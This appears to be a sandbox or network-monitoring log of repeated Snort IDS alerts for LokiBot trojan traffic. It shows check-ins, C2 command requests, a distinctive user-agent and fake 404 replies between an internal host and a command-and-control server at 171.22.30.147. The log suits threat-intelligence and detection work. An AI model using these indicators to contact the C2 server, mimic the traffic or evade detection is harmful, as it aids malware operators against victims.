Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49707 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49707 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49707 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49707 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49707 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49707
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49708 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49708 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49708 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49708 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49708 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49708
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49709 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49709 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49709 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49709 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49709 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49709
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49710 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49710 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49710 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49710 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49710 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49710
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49711 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49711 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49711 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49711 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49711 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49711
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49712 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49712 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49712 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49712 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49712 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49712
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49713 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49713 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49713 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49713 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49713 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49713
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49714 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49714 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49714 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49714 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49714 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49714
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49715 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49715 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49715 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49715 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49715 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49715
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49716 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49716 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49716 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49716 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49716 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49716
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49717 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49717 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49717 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49717 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49717 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49717
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49718 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49718 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49718 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49718 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49718 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49718
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49719 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49719 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49719 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49719 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49719 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49719
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49720 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49720 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49720 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49720 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49720 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49720
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49721 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49721 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49721 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49721 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49721 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49721
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49722 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49722 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49722 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49722 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49722 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49722
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49723 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49723 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49723 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49723 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49723 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49723
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49724 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49724 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49724 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49724 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49724 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49724
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49725 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49725 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49725 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49725 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49725 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49725
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49726 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49726 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49726 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49726 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49726 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49726
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49727 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49727 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49727 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49727 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49727 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49727
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49728 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49728 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49728 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49728 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49728 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49728
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49729 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49729 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49729 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49729 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49729 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49729
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49730 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49730 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49730 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49730 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49730 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49730
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49731 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49731 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49731 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49731 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49731 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49731
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49732 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49732 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49732 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49732 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49732 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49732
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49733 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49733 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49733 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49733 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49733 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49733
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49734 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49734 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49734 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49734 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49734 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49734
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49735 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49735 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49735 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49735 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49735 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49735
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49736 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49736 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49736 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49736 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49736 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49736
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49737 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49737 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49737 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49737 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49737 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49737
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49738 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49738 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49738 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49738 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49738 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49738
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49739 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49739 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49739 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49739 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49739 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49739
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49740 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49740 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49740 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49740 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49740 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49740
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49741 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49741 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49741 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49741 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49741 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49741
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49742 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49742 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49742 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49742 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49742 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49742
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49743 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49743 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49743 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49743 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49743 -> 171.22.30.147:80
